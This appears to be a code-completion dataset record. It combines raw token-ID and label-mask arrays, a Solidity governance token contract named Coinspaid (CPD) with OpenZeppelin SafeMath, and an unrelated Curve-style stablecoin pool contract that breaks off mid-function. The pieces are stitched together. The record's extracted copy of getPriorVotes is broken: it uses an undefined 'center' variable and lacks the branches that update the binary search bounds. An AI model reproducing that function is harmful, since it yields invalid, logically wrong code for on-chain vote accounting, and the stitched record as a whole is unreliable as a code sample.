-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
import "./SafeMath.sol";
contract CPD {
/// @notice EIP-20 token name for this token
string public constant name = "Coinspaid";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "CPD";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint256 public constant totalSupply = 800_000_000e18; // 800 million CPD
/// @dev Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @dev Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new CPD token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint256) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint256(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "CPD::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Triggers an approval from owner to spends
* @param owner The address to approve from
* @param spender The address to be approved
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(address owner, address spender, uint256 rawAmount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint256(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "CPD::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "CPD::permit: invalid signature");
require(signatory == owner, "CPD::permit: unauthorized");
require(now <= deadline, "CPD::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint256) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "CPD::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "CPD::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "CPD::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "CPD::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "CPD::delegateBySig: invalid nonce");
require(now <= expiry, "CPD::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) external view returns (uint96) {
require(blockNumber < block.number, "CPD::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "CPD::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "CPD::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "CPD::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "CPD::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "CPD::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "CPD::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "CPD::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint256) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
* @notice Determine the prior number of votes for an account as of a block number @dev Block number must be a finalized block or else this function will revert to prevent misinformation. @param account The address of the account to check @param blockNumber The block number to get the vote balance at @return The number of votes the account had as of the given block/ First check most recent balance Next check implicit zero balance
|
function getPriorVotes(address account, uint blockNumber) external view returns (uint96) {
require(blockNumber < block.number, "CPD::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
lower = center;
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
| 11,756,608 |
[
1,
8519,
326,
6432,
1300,
434,
19588,
364,
392,
2236,
487,
434,
279,
1203,
1300,
225,
3914,
1300,
1297,
506,
279,
727,
1235,
1203,
578,
469,
333,
445,
903,
15226,
358,
5309,
7524,
13117,
18,
225,
2236,
1021,
1758,
434,
326,
2236,
358,
866,
225,
1203,
1854,
1021,
1203,
1300,
358,
336,
326,
12501,
11013,
622,
327,
1021,
1300,
434,
19588,
326,
2236,
9323,
487,
434,
326,
864,
1203,
19,
5783,
866,
4486,
8399,
11013,
4804,
866,
10592,
3634,
11013,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1689,
2432,
29637,
12,
2867,
2236,
16,
2254,
1203,
1854,
13,
3903,
1476,
1135,
261,
11890,
10525,
13,
288,
203,
3639,
2583,
12,
2629,
1854,
411,
1203,
18,
2696,
16,
315,
4258,
40,
2866,
588,
25355,
29637,
30,
486,
4671,
11383,
8863,
203,
203,
3639,
2254,
1578,
290,
1564,
4139,
273,
818,
1564,
4139,
63,
4631,
15533,
203,
3639,
309,
261,
82,
1564,
4139,
422,
374,
13,
288,
203,
5411,
327,
374,
31,
203,
3639,
289,
203,
203,
3639,
309,
261,
1893,
4139,
63,
4631,
6362,
82,
1564,
4139,
300,
404,
8009,
2080,
1768,
1648,
1203,
1854,
13,
288,
203,
5411,
327,
26402,
63,
4631,
6362,
82,
1564,
4139,
300,
404,
8009,
27800,
31,
203,
3639,
289,
203,
203,
3639,
309,
261,
1893,
4139,
63,
4631,
6362,
20,
8009,
2080,
1768,
405,
1203,
1854,
13,
288,
203,
5411,
327,
374,
31,
203,
3639,
289,
203,
203,
3639,
2254,
1578,
2612,
273,
374,
31,
203,
3639,
2254,
1578,
3854,
273,
290,
1564,
4139,
300,
404,
31,
203,
3639,
1323,
261,
5797,
405,
2612,
13,
288,
203,
5411,
25569,
3778,
3283,
273,
26402,
63,
4631,
6362,
5693,
15533,
203,
5411,
309,
261,
4057,
18,
2080,
1768,
422,
1203,
1854,
13,
288,
203,
7734,
327,
3283,
18,
27800,
31,
203,
7734,
2612,
273,
4617,
31,
203,
7734,
3854,
273,
4617,
300,
404,
31,
203,
5411,
289,
203,
3639,
289,
203,
3639,
327,
26402,
63,
4631,
6362,
8167,
8009,
27800,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
import "../library/openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../library/Pausable.sol";
import "../library/kip/IKIP7.sol";
import "../interface/IPoolToken.sol";
import "../interface/IBasePool.sol";
import "./StableSwap.sol";
/**
* @dev BasePool is the solidity implementation of Curve Finance
* Original code https://github.com/curvefi/curve-contract/blob/master/contracts/pools/3pool/StableSwap3Pool.vy
*/
abstract contract BasePool is IBasePool, StableSwap {
// @dev WARN: be careful to add new variable here
uint256[50] private __storageBuffer;
constructor(uint256 _N) StableSwap(_N) {}
/// @notice Contract initializer
/// @param _coins Addresses of KIP7 contracts of coins
/// @param _poolToken Address of the token representing LP share
/// @param _initialA Amplification coefficient multiplied by n * (n - 1)
/// @param _fee Fee to charge for exchanges
/// @param _adminFee Admin fee
function __BasePool_init(
address[] memory _coins,
uint256[] memory _PRECISION_MUL,
uint256[] memory _RATES,
address _poolToken,
uint256 _initialA,
uint256 _fee,
uint256 _adminFee
) internal initializer {
__StableSwap_init(_coins, _PRECISION_MUL, _RATES, _poolToken, _initialA, _fee, _adminFee);
}
function balances(uint256 i) public view override(II4ISwapPool, StableSwap) returns (uint256) {
return _storedBalances[i];
}
// 10**18 precision
function _xp() internal view returns (uint256[] memory) {
uint256[] memory result = new uint256[](N_COINS);
for (uint256 i = 0; i < N_COINS; i++) {
result[i] = (RATES[i] * _storedBalances[i]) / PRECISION;
}
return result;
}
// 10**18 precision
function _xpMem(uint256[] memory _balances) internal view returns (uint256[] memory) {
uint256[] memory result = new uint256[](N_COINS);
for (uint256 i = 0; i < N_COINS; i++) {
result[i] = (RATES[i] * _balances[i]) / PRECISION;
}
return result;
}
function getDMem(uint256[] memory _balances, uint256 amp) internal view returns (uint256) {
return getD(_xpMem(_balances), amp);
}
function getVirtualPrice() external view override returns (uint256) {
/*
Returns portfolio virtual price (for calculating profit)
scaled up by 1e18
*/
uint256 D = getD(_xp(), _A());
// D is in the units similar to DAI (e.g. converted to precision 1e18)
// When balanced, D = n * x_u - total virtual value of the portfolio
uint256 tokenSupply = IPoolToken(token).totalSupply();
return (D * PRECISION) / tokenSupply;
}
/// @notice Simplified method to calculate addition or reduction in token supply at
/// deposit or withdrawal without taking fees into account (but looking at
/// slippage).
/// Needed to prevent front-running, not for precise calculations!
/// @param amounts amount list of each assets
/// @param deposit the flag whether deposit or withdrawal
/// @return the amount of lp tokens
function calcTokenAmount(uint256[] memory amounts, bool deposit) external view override returns (uint256) {
/*
Simplified method to calculate addition or reduction in token supply at
deposit or withdrawal without taking fees into account (but looking at
slippage) .
Needed to prevent front-running, not for precise calculations!
*/
uint256[] memory _balances = _storedBalances;
uint256 amp = _A();
uint256 D0 = getDMem(_balances, amp);
for (uint256 i = 0; i < N_COINS; i++) {
if (deposit) {
_balances[i] += amounts[i];
} else {
_balances[i] -= amounts[i];
}
}
uint256 D1 = getDMem(_balances, amp);
uint256 tokenAmount = IPoolToken(token).totalSupply();
uint256 diff = 0;
if (deposit) {
diff = D1 - D0;
} else {
diff = D0 - D1;
}
return (diff * tokenAmount) / D0;
}
function addLiquidity(uint256[] memory amounts, uint256 minMintAmount) external payable override nonReentrant whenNotPaused returns (uint256) {
require(msg.value == 0);
uint256 amp = _A();
uint256 tokenSupply = IPoolToken(token).totalSupply();
// Initial invariant
uint256 D0 = 0;
uint256[] memory oldBalances = _storedBalances;
if (tokenSupply > 0) {
D0 = getDMem(oldBalances, amp);
}
uint256[] memory newBalances = arrCopy(oldBalances);
for (uint256 i = 0; i < N_COINS; i++) {
uint256 inAmount = amounts[i];
if (tokenSupply == 0) {
require(inAmount > 0); // dev: initial deposit requires all coins
}
address in_coin = coins[i];
// Take coins from the sender
if (inAmount > 0) {
// "safeTransferFrom" which works for KIP7s which return bool or not
rawCall(in_coin, abi.encodeWithSignature("transferFrom(address,address,uint256)", msg.sender, address(this), amounts[i]));
}
newBalances[i] = oldBalances[i] + inAmount;
}
// Invariant after change
uint256 D1 = getDMem(newBalances, amp);
require(D1 > D0);
// We need to recalculate the invariant accounting for fees
// to calculate fair user's share
uint256 D2 = D1;
uint256[] memory fees = new uint256[](N_COINS);
if (tokenSupply > 0) {
// Only account for fees if we are not the first to deposit
uint256 _fee = (fee * N_COINS) / (4 * (N_COINS - 1));
uint256 _adminFee = adminFee;
for (uint256 i = 0; i < N_COINS; i++) {
uint256 idealBalance = (D1 * oldBalances[i]) / D0;
uint256 difference = 0;
if (idealBalance > newBalances[i]) {
difference = idealBalance - newBalances[i];
} else {
difference = newBalances[i] - idealBalance;
}
fees[i] = (_fee * difference) / FEE_DENOMINATOR;
_storedBalances[i] = newBalances[i] - ((fees[i] * _adminFee) / FEE_DENOMINATOR);
newBalances[i] -= fees[i];
}
D2 = getDMem(newBalances, amp);
} else {
_storedBalances = newBalances;
}
// Calculate, how much pool tokens to mint
uint256 mintAmount = 0;
if (tokenSupply == 0) {
mintAmount = D1; // Take the dust if there was any
} else {
mintAmount = (tokenSupply * (D2 - D0)) / D0;
}
require(mintAmount >= minMintAmount, "Slippage screwed you");
// Mint pool tokens
IPoolToken(token).mint(msg.sender, mintAmount);
emit AddLiquidity(msg.sender, amounts, fees, D1, tokenSupply + mintAmount);
return mintAmount;
}
function _getDy(
uint256 i,
uint256 j,
uint256 dx,
bool withoutFee
) internal view override returns (uint256) {
// dx and dy in c-units
uint256[] memory xp = _xp();
uint256 x = xp[i] + ((dx * RATES[i]) / PRECISION);
uint256 y = getY(i, j, x, xp);
uint256 dy = ((xp[j] - y - 1) * PRECISION) / RATES[j];
uint256 _fee = ((withoutFee ? 0 : fee) * dy) / FEE_DENOMINATOR;
return dy - _fee;
}
// reference: https://github.com/curvefi/curve-contract/blob/c6df0cf14b557b11661a474d8d278affd849d3fe/contracts/pools/y/StableSwapY.vy#L351
function _getDx(
uint256 i,
uint256 j,
uint256 dy
) internal view override returns (uint256) {
uint256[] memory xp = _xp();
uint256 y = xp[j] - (((dy * FEE_DENOMINATOR) / (FEE_DENOMINATOR - fee)) * RATES[j]) / PRECISION;
uint256 x = getY(j, i, y, xp);
uint256 dx = ((x - xp[i]) * PRECISION) / RATES[i];
return dx;
}
function _getDyUnderlying(
uint256 i,
uint256 j,
uint256 dx,
bool withoutFee
) internal view override returns (uint256) {
// dx and dy in underlying units
uint256[] memory xp = _xp();
uint256 x = xp[i] + dx * PRECISION_MUL[i];
uint256 y = getY(i, j, x, xp);
uint256 dy = (xp[j] - y - 1) / PRECISION_MUL[j];
uint256 _fee = ((withoutFee ? 0 : fee) * dy) / FEE_DENOMINATOR;
return dy - _fee;
}
function exchange(
uint256 i,
uint256 j,
uint256 dx,
uint256 minDy
) external payable override nonReentrant whenNotPaused returns (uint256) {
require(msg.value == 0);
uint256[] memory oldBalances = _storedBalances;
uint256[] memory xp = _xpMem(oldBalances);
address inputCoin = coins[i];
// "safeTransferFrom" which works for KIP7s which return bool or not
rawCall(inputCoin, abi.encodeWithSignature("transferFrom(address,address,uint256)", msg.sender, address(this), dx));
uint256 x = xp[i] + (dx * RATES[i]) / PRECISION;
uint256 y = getY(i, j, x, xp);
uint256 dy = xp[j] - y - 1; // -1 just in case there were some rounding errors
uint256 dyFee = (dy * fee) / FEE_DENOMINATOR;
// Convert all to real units
dy = ((dy - dyFee) * PRECISION) / RATES[j];
require(dy >= minDy, "Exchange resulted in fewer coins than expected");
uint256 dyAdminFee = (dyFee * adminFee) / FEE_DENOMINATOR;
dyAdminFee = (dyAdminFee * PRECISION) / RATES[j];
// Change balances exactly in same way as we change actual KIP7 coin amounts
_storedBalances[i] = oldBalances[i] + dx;
// When rounding errors happen, we undercharge admin fee in favor of LP
_storedBalances[j] = oldBalances[j] - dy - dyAdminFee;
// "safeTransfer" which works for KIP7s which return bool or not
rawCall(coins[j], abi.encodeWithSignature("transfer(address,uint256)", msg.sender, dy));
emit TokenExchange(msg.sender, i, dx, j, dy, dyFee);
return dy;
}
/// @notice Withdraw coins from the pool
/// @dev Withdrawal amounts are based on current deposit ratios
/// @param _amount Quantity of LP tokens to burn in the withdrawal
/// @param minAmounts Minimum amounts of underlying coins to receive
/// @return List of amounts of coins that were withdrawn
function removeLiquidity(uint256 _amount, uint256[] memory minAmounts) external override nonReentrant returns (uint256[] memory) {
uint256 totalSupply = IPoolToken(token).totalSupply();
uint256[] memory amounts = new uint256[](N_COINS);
uint256[] memory fees = new uint256[](N_COINS); // Fees are unused but we've got them historically in event
for (uint256 i = 0; i < N_COINS; i++) {
uint256 value = (_storedBalances[i] * _amount) / totalSupply;
require(value >= minAmounts[i], "Withdrawal resulted in fewer coins than expected");
_storedBalances[i] -= value;
amounts[i] = value;
// "safeTransfer" which works for KIP7s which return bool or not
rawCall(coins[i], abi.encodeWithSignature("transfer(address,uint256)", msg.sender, value));
}
IPoolToken(token).burn(msg.sender, _amount); // dev: insufficient funds
emit RemoveLiquidity(msg.sender, amounts, fees, totalSupply - _amount);
return amounts;
}
function removeLiquidityImbalance(uint256[] memory amounts, uint256 maxBurnAmount)
external
override
nonReentrant
whenNotPaused
returns (uint256)
{
uint256 tokenSupply = IPoolToken(token).totalSupply();
require(tokenSupply != 0); // dev: zero total supply
uint256 amp = _A();
uint256[] memory oldBalances = _storedBalances;
